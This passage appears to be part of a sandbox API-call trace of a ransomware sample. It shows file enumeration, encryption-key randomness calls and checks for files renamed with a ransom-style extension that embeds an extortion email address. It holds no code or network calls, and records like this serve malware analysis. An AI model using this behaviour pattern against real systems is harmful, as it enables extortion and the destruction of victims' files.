sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile16.png")) returned 0x20 [0065.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile16.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile16.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile16.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.008] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile_bezel.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile_bezel.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.009] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3289) returned 1 [0065.009] CloseHandle (hObject=0x180) returned 1 [0065.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile_bezel.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile_bezel.png")) returned 0x20 [0065.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile_bezel.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile_bezel.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile_bezel.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile_bezel.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.010] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile_drop_shadow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile_drop_shadow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.010] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2883) returned 1 [0065.010] CloseHandle (hObject=0x180) returned 1 [0065.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile_drop_shadow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile_drop_shadow.png")) returned 0x20 [0065.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile_drop_shadow.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile_drop_shadow.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile_drop_shadow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile_drop_shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.010] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_down.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.011] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3388) returned 1 [0065.011] CloseHandle (hObject=0x180) returned 1 [0065.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_down.png")) returned 0x20 [0065.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_down.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_down.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.012] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_over.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.012] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3383) returned 1 [0065.012] CloseHandle (hObject=0x180) returned 1 [0065.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_over.png")) returned 0x20 [0065.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_over.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_over.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_over.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.012] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_up.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.014] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3300) returned 1 [0065.014] CloseHandle (hObject=0x180) returned 1 [0065.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_up.png")) returned 0x20 [0065.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_up.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_up.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_up.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.015] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\logo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.015] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=6166) returned 1 [0065.015] CloseHandle (hObject=0x180) returned 1 [0065.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\logo.png")) returned 0x20 [0065.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\logo.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.016] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\drag.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.016] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=8513) returned 1 [0065.016] CloseHandle (hObject=0x180) returned 1 [0065.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\drag.png")) returned 0x20 [0065.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\drag.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\drag.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\drag.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.016] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\flyout.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.017] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2962) returned 1 [0065.017] CloseHandle (hObject=0x180) returned 1 [0065.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\flyout.css")) returned 0x20 [0065.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\flyout.css.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\flyout.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.018] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\rssfeeds.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.019] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3016) returned 1 [0065.019] CloseHandle (hObject=0x180) returned 1 [0065.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\rssfeeds.css")) returned 0x20 [0065.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\rssfeeds.css.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\rssfeeds.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.019] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\settings.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.020] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1254) returned 1 [0065.020] CloseHandle (hObject=0x180) returned 1 [0065.020] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\settings.css")) returned 0x20 [0065.020] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\settings.css.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\settings.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.020] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\flyout.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\flyout.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.021] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2154) returned 1 [0065.021] CloseHandle (hObject=0x180) returned 1 [0065.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\flyout.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\flyout.html")) returned 0x20 [0065.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\flyout.html.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\flyout.html.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\flyout.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\flyout.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.022] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0065.023] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1005) returned 1 [0065.023] CloseHandle (hObject=0x198) returned 1 [0065.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\gadget.xml")) returned 0x20 [0065.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\gadget.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.023] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\RSSFeeds.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js\\rssfeeds.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0065.026] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=110308) returned 1 [0065.027] CloseHandle (hObject=0x198) returned 1 [0065.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\RSSFeeds.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js\\rssfeeds.js")) returned 0x20 [0065.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\RSSFeeds.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js\\rssfeeds.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\RSSFeeds.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js\\rssfeeds.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.027] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js\\settings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0065.027] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5542) returned 1 [0065.027] CloseHandle (hObject=0x198) returned 1 [0065.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js\\settings.js")) returned 0x20 [0065.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\settings.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js\\settings.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js\\settings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.028] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\RSSFeeds.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\rssfeeds.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0065.028] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=10012) returned 1 [0065.028] CloseHandle (hObject=0x198) returned 1 [0065.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\RSSFeeds.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\rssfeeds.html")) returned 0x20 [0065.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\RSSFeeds.html.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\rssfeeds.html.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\RSSFeeds.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\rssfeeds.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.029] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: 